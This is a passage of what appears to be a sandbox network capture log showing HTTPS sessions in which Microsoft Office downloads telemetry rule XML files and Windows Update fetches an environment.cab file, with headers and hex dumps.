2024-12-07 07:44:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 7e532cc8-301e-000c-2603-48323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074400Z-r1cf579d77898tqwhC1EWRf9q800000001r00000000041xm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:00 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:00 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 1dbd6d1b-a01e-0002-3903-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074400Z-r1cf579d7789trgthC1EWRkkfc00000002a000000000557u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:00 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:00 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:00 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074400Z-r1cf579d7786c2tshC1EWRr1gc00000001b00000000034uv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:00 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:02 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:02 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 5b9ff148-a01e-000d-0606-48d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074402Z-r1cf579d778d5zkmhC1EWRk6h800000002ag0000000001pc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 07:44:02 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:02 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: ef8e0549-001e-0066-1d03-48561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074402Z-r1cf579d778t6txphC1EWRsd44000000024g000000004en3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:02 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49825	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:02 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=haaDPKgATB8gebU&MD=7xOUr2Mf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 07:44:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 37434de3-30f4-44c2-b513-db9eb7f3aa60 MS-RequestId: 1db6e8eb-6696-4a97-8d80-78855dc8d50c MS-CV: zFeNXYs+4UeDMnqX.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 07:44:01 GMT Connection: close Content-Length: 30005
2024-12-07 07:44:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-07 07:44:02 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:02 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a85144f8-201e-0033-7f03-48b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074402Z-r1cf579d778d5zkmhC1EWRk6h8000000025g00000000331e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:02 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074402Z-r1cf579d778w59f9hC1EWRze6w00000001y0000000003r1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:02 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:02 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3fcff9c6-e01e-0052-0a03-48d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074402Z-r1cf579d778mvsklhC1EWRkavg00000001zg0000000031y5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:02 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:04 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074404Z-r1cf579d778z4wflhC1EWRa3h000000001ug000000002082 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:04 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:44:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:44:04 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 44286e75-701e-0032-5705-48a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074404Z-r1cf579d778d5zkmhC1EWRk6h800000002400000000041h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:44:04 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:44:04 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
